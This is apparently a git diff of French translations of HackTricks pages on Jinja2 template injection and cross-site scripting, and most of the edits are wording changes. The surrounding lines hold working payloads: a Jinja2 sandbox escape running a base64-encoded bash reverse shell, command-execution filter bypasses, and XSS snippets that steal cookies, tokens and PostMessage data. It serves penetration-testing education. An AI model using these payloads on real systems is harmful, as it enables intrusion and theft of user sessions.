[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -30,7 +30,7 @@ return "Hello, send someting inside the param 'c'!" if __name__ == "__main__": app.run() ``` -### **Débogage** +### **Déclaration de débogage** Si l'extension de débogage est activée, une balise `debug` sera disponible pour afficher le contexte actuel ainsi que les filtres et tests disponibles. Cela est utile pour voir ce qui est disponible à utiliser dans le modèle sans configurer un débogueur. ```python @@ -41,6 +41,7 @@ Si l'extension de débogage est activée, une balise `debug` sera disponible pou {% endraw %} + ``` ### **Afficher toutes les variables de configuration** @@ -56,14 +57,15 @@ Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement]
{{ value|e }}
{% endfor %} {% endraw %} + ``` ## **Injection Jinja** -Tout d'abord, dans une injection Jinja, vous devez **trouver un moyen de vous échapper du bac à sable** et récupérer l'accès au flux d'exécution Python régulier. Pour ce faire, vous devez **abuser des objets** qui proviennent de l'environnement **non-sécurisé mais sont accessibles depuis le bac à sable**. +Tout d'abord, dans une injection Jinja, vous devez **trouver un moyen de vous échapper du bac à sable** et de récupérer l'accès au flux d'exécution Python régulier. Pour ce faire, vous devez **abuser des objets** qui proviennent de l'**environnement non-sécurisé mais sont accessibles depuis le bac à sable**. ### Accès aux objets globaux -Par exemple, dans le code `render_template("hello.html", username=username, email=email)` les objets username et email **proviennent de l'environnement Python non-sécurisé** et seront **accessibles** à l'intérieur de l'environnement **sécurisé**.\ +Par exemple, dans le code `render_template("hello.html", username=username, email=email)` les objets username et email **proviennent de l'environnement Python non-sécurisé** et seront **accessibles** à l'intérieur de l'**environnement sécurisé**.\ De plus, il existe d'autres objets qui seront **toujours accessibles depuis l'environnement sécurisé**, ce sont: ``` [] @@ -77,9 +79,9 @@ request Ensuite, à partir de ces objets, nous devons accéder à la classe : **``** afin de tenter de **récupérer** les **classes** définies. Cela est nécessaire car à partir de cet objet, nous pouvons appeler la méthode **`__subclasses__`** et **accéder à toutes les classes de l'environnement python non sandboxé**. -Pour accéder à cette **classe objet**, vous devez **accéder à un objet de classe** puis accéder à **`__base__`**, **`__mro__()[-1]`** ou `.`**`mro()[-1]`**. Ensuite, **après** avoir atteint cette **classe objet**, nous **appelons** **`__subclasses__()`**. +Pour accéder à cette **classe objet**, vous devez **accéder à un objet de classe** puis accéder à **`__base__`**, **`__mro__()[-1]`** ou `.`**`mro()[-1]`**. Ensuite, **après** avoir atteint cette **classe objet**, nous devons **appeler** **`__subclasses__()`**. -Vérifiez ces exemples : +Consultez ces exemples : ```python # To access a class object [].__class__ @@ -114,15 +116,16 @@ dict.__mro__[-1] {% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %} {% endraw %} + # Not sure if this will work, but I saw it somewhere {{ [].class.base.subclasses() }} {{ ''.class.mro()[1].subclasses() }} ``` -### Échappement de l'exécution de code à distance (RCE) +### Évasion de RCE **Ayant récupéré** `` et appelé `__subclasses__`, nous pouvons maintenant utiliser ces classes pour lire et écrire des fichiers et exécuter du code. -L'appel à `__subclasses__` nous a donné l'opportunité d'**accéder à des centaines de nouvelles fonctions**, nous serons heureux rien qu'en accédant à la **classe de fichier** pour **lire/écrire des fichiers** ou à toute classe ayant accès à une classe qui **permet d'exécuter des commandes** (comme `os`). +L'appel à `__subclasses__` nous a donné l'opportunité d'**accéder à des centaines de nouvelles fonctions**, nous serons heureux simplement en accédant à la **classe de fichier** pour **lire/écrire des fichiers** ou à toute classe ayant accès à une classe qui **permet d'exécuter des commandes** (comme `os`). **Lire/Écrire un fichier distant** ```python @@ -147,7 +150,7 @@ L'appel à `__subclasses__` nous a donné l'opportunité d'**accéder à des cen ``` -Pour en savoir plus sur les **classes supplémentaires** que vous pouvez utiliser pour **échapper**, vous pouvez **vérifier**: +Pour en savoir plus sur **davantage de classes** que vous pouvez utiliser pour **échapper**, vous pouvez **vérifier**: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) @@ -183,6 +186,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi {% raw %} {% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %} {% endraw %} + ``` * [**Retournez ici pour plus d'options pour accéder à un objet global**](jinja2-ssti.md#accessing-global-objects) * [**Retournez ici pour plus d'options pour accéder à la classe d'objet**](jinja2-ssti.md#recovering-less-than-class-object-greater-than) @@ -220,6 +224,7 @@ Sans **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`** {% raw %} {%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%} {% endraw %} + ``` ## Injection Jinja sans **\** @@ -276,14 +281,14 @@ Une fois que vous avez trouvé certaines fonctions, vous pouvez récupérer les
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres façons de soutenir HackTricks: +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe Telegram](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/pentesting-web/xss-cross-site-scripting/README.md b/pentesting-web/xss-cross-site-scripting/README.md index c87b210ef..0d53a0cc0 100644 --- a/pentesting-web/xss-cross-site-scripting/README.md +++ b/pentesting-web/xss-cross-site-scripting/README.md @@ -1,14 +1,14 @@ # XSS (Cross Site Scripting) -
+
-Si vous êtes intéressé par une **carrière en piratage** et que vous souhaitez pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). +Si vous êtes intéressé par une **carrière en piratage** et que vous souhaitez pirater l'impossible - **nous recrutons !** (_polonais écrit et parlé couramment requis_). {% embed url="https://www.stmcyber.com/careers" %} ## Méthodologie -1. Vérifiez si **une valeur que vous contrôlez** (_paramètres_, _chemin_, _en-têtes_?, _cookies_?) est **réfléchie** dans le HTML ou **utilisée** par du code **JS**. +1. Vérifiez si **n'importe quelle valeur que vous contrôlez** (_paramètres_, _chemin_, _en-têtes_?, _cookies_?) est **réfléchie** dans le HTML ou **utilisée** par du code **JS**. 2. **Trouvez le contexte** où elle est réfléchie/utilisée. 3. Si **réfléchie** 1. Vérifiez **quels symboles vous pouvez utiliser** et en fonction de cela, préparez la charge utile : @@ -17,21 +17,21 @@ Si vous êtes intéressé par une **carrière en piratage** et que vous souhaite 2. Pouvez-vous utiliser des événements ou des attributs prenant en charge le protocole `javascript:` ? 3. Pouvez-vous contourner les protections ? 4. Le contenu HTML est-il interprété par un moteur JS côté client (_AngularJS_, _VueJS_, _Mavo_...), vous pourriez exploiter une [**Injection de Modèle Côté Client**](../client-side-template-injection-csti.md). -5. Si vous ne pouvez pas créer de balises HTML exécutant du code JS, pourriez-vous exploiter une [**Injection de Balisage Suspendu - Injection HTML sans script**](../dangling-markup-html-scriptless-injection/) ? +5. Si vous ne pouvez pas créer de balises HTML exécutant du code JS, pourriez-vous exploiter une [**Injection de Balisage Suspendu - Injection de HTML sans script**](../dangling-markup-html-scriptless-injection/) ? 2. À l'intérieur d'une **balise HTML** : -1. Pouvez-vous sortir du contexte HTML brut ? +1. Pouvez-vous sortir vers le contexte HTML brut ? 2. Pouvez-vous créer de nouveaux événements/attributs pour exécuter du code JS ? 3. L'attribut où vous êtes piégé prend-il en charge l'exécution JS ? 4. Pouvez-vous contourner les protections ? -3. À l'intérieur du code **JavaScript** : +3. À l'intérieur du **code JavaScript** : 1. Pouvez-vous échapper à la balise `` ou entre les événements HTML qui peuvent exécuter du code JS ou entre les attributs qui acceptent le protocole `javascript:`. ### Échapper à la balise \`, vous pourriez facilement **échapper à la fermeture de la balise ``, vous pouvez facilement **échapper à la fermeture de la balise ` ``` @@ -484,10 +484,10 @@ Si `<>` sont en train d'être nettoyés, vous pouvez toujours échapper la chaî ';alert(document.domain)// \';alert(document.domain)// ``` -### Modèles de chaînes de caractères \`\` +### Modèles de littéraux \`\` -Pour construire des **chaînes de caractères** en dehors des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela est connu sous le nom de modèles de chaînes de caractères car ils permettent d'**intégrer des expressions JS** en utilisant la syntaxe `${ ... }`.\ -Par conséquent, si vous constatez que votre entrée est **réfléchie** à l'intérieur d'une chaîne de caractères JS qui utilise des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** : +Pour construire des **chaînes de caractères** en dehors des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela est connu sous le nom de modèles de littéraux car ils permettent d'**intégrer des expressions JS** en utilisant la syntaxe `${ ... }`.\ +Par conséquent, si vous constatez que votre entrée est **réfléchie** à l'intérieur d'une chaîne JS qui utilise des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** : Cela peut être **abusé** en utilisant : ```javascript @@ -559,7 +559,7 @@ eval(8680439..toString(30))(983801..toString(36)) #!This is a 1 line comment, but "#!" must to be at the beggining of the first line -->This is a 1 line comment, but "-->" must to be at the beggining of the first line ``` -**Sauts de ligne JavaScript (à partir de** [**astuce de saut de ligne JavaScript**](./#javascript-new-lines) **)** +**Nouvelles lignes JavaScript (à partir de** [**astuce de nouvelle ligne JavaScript**](./#javascript-new-lines) **)** ```javascript //Javascript interpret as new line these chars: String.fromCharCode(10); alert('//\nalert(1)') //0x0a @@ -732,7 +732,7 @@ top[8680439..toString(30)](1) ## **Vulnérabilités DOM** Il y a du **code JS** qui utilise des **données contrôlées de manière non sécurisée par un attaquant** comme `location.href`. Un attaquant pourrait en abuser pour exécuter du code JS arbitraire.\ -**En raison de l'extension de l'explication des** [**vulnérabilités DOM, elle a été déplacée vers cette page**](dom-xss.md)**:** +**En raison de l'extension de l'explication des** [**vulnérabilités DOM, elle a été déplacée sur cette page**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) @@ -754,7 +754,7 @@ Vous pourriez vérifier si les **valeurs réfléchies** sont **normalisées en U ### Contournement Ruby-On-Rails En raison des **affectations de masse RoR**, des guillemets sont insérés dans le HTML, puis la restriction des guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\ -Par exemple ([à partir de ce rapport](https://hackerone.com/reports/709336)), si vous envoyez la charge utile : +Par exemple de formulaire ([à partir de ce rapport](https://hackerone.com/reports/709336)), si vous envoyez la charge utile : ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` @@ -762,7 +762,7 @@ La paire "Clé","Valeur" sera renvoyée comme ceci : ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` -Ensuite, l'attribut onfocus sera inséré et XSS se produit. +Ensuite, l'attribut onfocus sera inséré et une XSS se produira. ### Combinaisons spéciales ```markup @@ -811,7 +811,7 @@ Si vous êtes capable d'indiquer le **callback** que JavaScript va **exécuter** > Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') car son type MIME (‘application/octet-stream’) n'est pas exécutable, et la vérification stricte du type MIME est activée. -Les seuls **types de contenu** qui permettront à Chrome d'exécuter un **script chargé** sont ceux à l'intérieur de la constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) +Les seuls **types de contenu** qui permettront à Chrome d'exécuter un **script chargé** sont ceux à l'intérieur de la constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) ```c const char* const kSupportedJavascriptTypes[] = { "application/ecmascript", @@ -869,7 +869,7 @@ import moment from "moment"; import { partition } from "lodash"; ``` -Ce comportement a été utilisé dans [**cette analyse**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque vers eval afin de l'exploiter et déclencher une XSS. +Ce comportement a été utilisé dans [**cette explication**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque vers eval afin de l'exploiter et déclencher une XSS. * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne de la manière suivante : ```html @@ -889,7 +889,7 @@ Ce comportement a été utilisé dans [**cette analyse**](https://github.com/zwa ``` ### Types de contenu Web pour XSS -(Depuis [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Les types de contenu suivants peuvent exécuter XSS dans tous les navigateurs : +(De [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Les types de contenu suivants peuvent exécuter XSS dans tous les navigateurs : * text/html * application/xhtml+xml @@ -914,7 +914,7 @@ Si la page renvoie un type de contenu text/xml, il est possible d'indiquer un es ``` ### Modèles de Remplacement Spéciaux -Lorsque quelque chose comme **`"des données {{modèle}}".replace("{{modèle}}", )`** est utilisé. L'attaquant pourrait utiliser des [**remplacements de chaîne spéciaux**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) pour tenter de contourner certaines protections : ``"123 {{modèle}} 456".replace("{{modèle}}", JSON.stringify({"nom": "$'$`alert(1)//"}))`` +Lorsque quelque chose comme **`"some {{template}} data".replace("{{template}}", )`** est utilisé. L'attaquant pourrait utiliser [**des remplacements de chaînes spéciaux**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) pour tenter de contourner certaines protections : ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))`` Par exemple, dans [**cette explication**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), cela a été utilisé pour **échapper une chaîne JSON** à l'intérieur d'un script et exécuter du code arbitraire. @@ -1019,7 +1019,7 @@ trigger() ``` ### Obfuscation & Contournement Avancé -* **Différentes obfuscations sur une page :** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) +* **Différentes obfuscations sur une seule page:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) * [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) * [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) @@ -1052,15 +1052,15 @@ trigger() ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` -## Charges utiles XSS courantes +## Payloads XSS courants -### Plusieurs charges utiles en 1 +### Plusieurs payloads en 1 {% content-ref url="steal-info-js.md" %} [steal-info-js.md](steal-info-js.md) {% endcontent-ref %} -### Récupérer les cookies +### Récupérer les Cookies ```javascript /?c="+document.cookie> @@ -1187,7 +1187,7 @@ Lorsque des données sont saisies dans le champ du mot de passe, le nom d'utilis ### Enregistreur de frappe -En cherchant simplement sur Github, j'en ai trouvé quelques-uns différents : +En cherchant simplement sur github, j'en ai trouvé quelques-uns différents : * [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) * [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) @@ -1211,7 +1211,7 @@ changeReq.send('csrf='+token+'&email=test@test.com') ``` ### Vol de messages PostMessage -In this scenario, an attacker can inject malicious code into a vulnerable web application to steal messages sent via the `PostMessage` API. The attacker can then use this stolen information for further exploitation or data exfiltration. +Stealing PostMessage messages ```markup ``` -### Abuser les Travailleurs de Service +### Abus des Travailleurs de Service {% content-ref url="abusing-service-workers.md" %} [abusing-service-workers.md](abusing-service-workers.md) {% endcontent-ref %} -### Accéder au Shadow DOM +### Accès au DOM de l'Ombre {% content-ref url="shadow-dom.md" %} [shadow-dom.md](shadow-dom.md) @@ -1235,7 +1235,7 @@ document.getElementById("message").src += "&"+e.data; {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %} -### Charges utiles Blind XSS +### Charges Utiles XSS Aveugles Vous pouvez également utiliser: [https://xsshunter.com/](https://xsshunter.com) ```markup @@ -1279,7 +1279,7 @@ Vous pouvez également utiliser: [https://xsshunter.com/](https://xsshunter.com) ``` ### Regex - Accéder au contenu caché -À partir de [**cette analyse**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible d'apprendre que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS de différents objets. Par exemple, il est toujours possible de trouver une entrée d'une REGEX après que la valeur de l'entrée de la REGEX ait été supprimée : +D'après [**cette analyse**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible de découvrir que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS de différents objets. Par exemple, il est toujours possible de trouver une entrée d'une REGEX après que la valeur de l'entrée de la REGEX ait été supprimée : ```javascript // Do regex with flag flag="CTF{FLAG}" @@ -1298,11 +1298,11 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %} -## Exploitation XSS d'autres vulnérabilités +## XSS Abusant d'autres vulnérabilités ### XSS dans Markdown -Peut-on injecter du code Markdown qui sera rendu ? Peut-être pouvez-vous obtenir du XSS ! Vérifiez : +Peut injecter du code Markdown qui sera rendu ? Peut-être pouvez-vous obtenir du XSS ! Vérifiez : {% content-ref url="xss-in-markdown.md" %} [xss-in-markdown.md](xss-in-markdown.md) @@ -1310,7 +1310,7 @@ Peut-on injecter du code Markdown qui sera rendu ? Peut-être pouvez-vous obteni ### XSS vers SSRF -Avez-vous obtenu du XSS sur un **site qui utilise du caching** ? Essayez de **le transformer en SSRF** en utilisant une Injection Edge Side Include avec cette charge utile : +Avez-vous obtenu du XSS sur un **site qui utilise du caching** ? Essayez de **le mettre à niveau vers SSRF** en utilisant une Injection Edge Side Include avec cette charge utile : ```python ``` @@ -1319,8 +1319,8 @@ Plus d'informations sur cette technique ici: [**XSLT**](../xslt-server-side-inje ### XSS dans les PDF créés dynamiquement -Si une page web crée un PDF en utilisant une entrée contrôlée par l'utilisateur, vous pouvez essayer de **tromper le bot** qui crée le PDF pour **exécuter du code JS arbitraire**.\ -Ainsi, si le **bot créateur de PDF trouve** des sortes de **balises HTML**, il va les **interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **XSS côté serveur**. +Si une page web crée un PDF en utilisant une entrée contrôlée par l'utilisateur, vous pouvez essayer de **tromper le robot** qui crée le PDF pour **exécuter du code JS arbitraire**.\ +Ainsi, si le **robot créateur de PDF trouve** des sortes de **balises HTML**, il va les **interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **XSS côté serveur**. {% content-ref url="server-side-xss-dynamic-pdf.md" %} [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) @@ -1336,7 +1336,7 @@ Si vous ne pouvez pas injecter de balises HTML, il pourrait être utile d'essaye AMP, visant à accélérer les performances des pages web sur les appareils mobiles, intègre des balises HTML complétées par JavaScript pour garantir la fonctionnalité avec un accent sur la vitesse et la sécurité. Il prend en charge une gamme de composants pour diverses fonctionnalités, accessibles via [composants AMP](https://amp.dev/documentation/components/?format=websites). -Le format [**AMP pour les e-mails**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) étend des composants AMP spécifiques aux e-mails, permettant aux destinataires d'interagir avec le contenu directement dans leurs e-mails. +Le format [**AMP pour Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) étend des composants AMP spécifiques aux e-mails, permettant aux destinataires d'interagir avec le contenu directement dans leurs e-mails. Exemple de [**writeup XSS dans Amp4Email dans Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). @@ -1414,9 +1414,9 @@ Trouvez **plus de charges utiles SVG dans** [**https://github.com/allanlw/svg-ch * [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec) * [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) -
+
-Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). +Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_). {% embed url="https://www.stmcyber.com/careers" %} @@ -1424,7 +1424,7 @@ Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossi Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)